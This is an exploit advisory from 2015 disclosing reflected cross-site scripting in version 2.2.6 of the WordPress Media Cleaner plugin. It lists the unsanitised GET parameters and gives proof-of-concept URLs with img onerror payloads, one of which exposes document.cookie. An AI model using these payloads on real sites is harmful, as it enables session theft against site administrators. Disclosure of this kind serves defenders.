Wordpress Media Cleaner Plugin - XSS Vulnerability

[iletisim@xxxxxxxxxxxxxxxxxxxx]

# Exploit Title: Wordpress Media Cleaner - XSS
# Author: İsmail SAYGILI
# Web Site: www.ismailsaygili.com.tr
# E-Mail: iletisim@xxxxxxxxxxxxxxxxxxxx
# Date: 2015-02-26
# Plugin Download: 
https://downloads.wordpress.org/plugin/wp-media-cleaner.2.2.6.zip
# Version: 2.2.6


# Vulnerable File(s):
                [+] wp-media-cleaner.php

# Vulnerable Code(s):
                                [+] 647. Line
                                        $view = $_GET['view'] : "issues"; 
                                [+] 648. Line   
                                        $paged = $_GET['paged'] : 1;
                                [+] 653. Line
                                        $s = isset ( $_GET[ 's' ] ) ? $_GET[ 
's' ] : null;

# Request Method(s):
                [+] GET
 
# Vulnerable Parameter(s):
                [+] view, paged, s



# Proof of Concept

--> 
http://target.com/wordpress/wp-admin/upload.php?s=test&page=wp-media-cleaner&view={XSS}&paged={XSS}&s={XSS}

--> 
http://localhost/wordpress/wp-admin/upload.php?s=test&page=wp-media-cleaner&view=";><img
 src=i onerror=prompt(/xss/)>&paged="><img src=i 
onerror=prompt(document.cookie)>&s="><img src=i onerror=prompt(/XSS/)>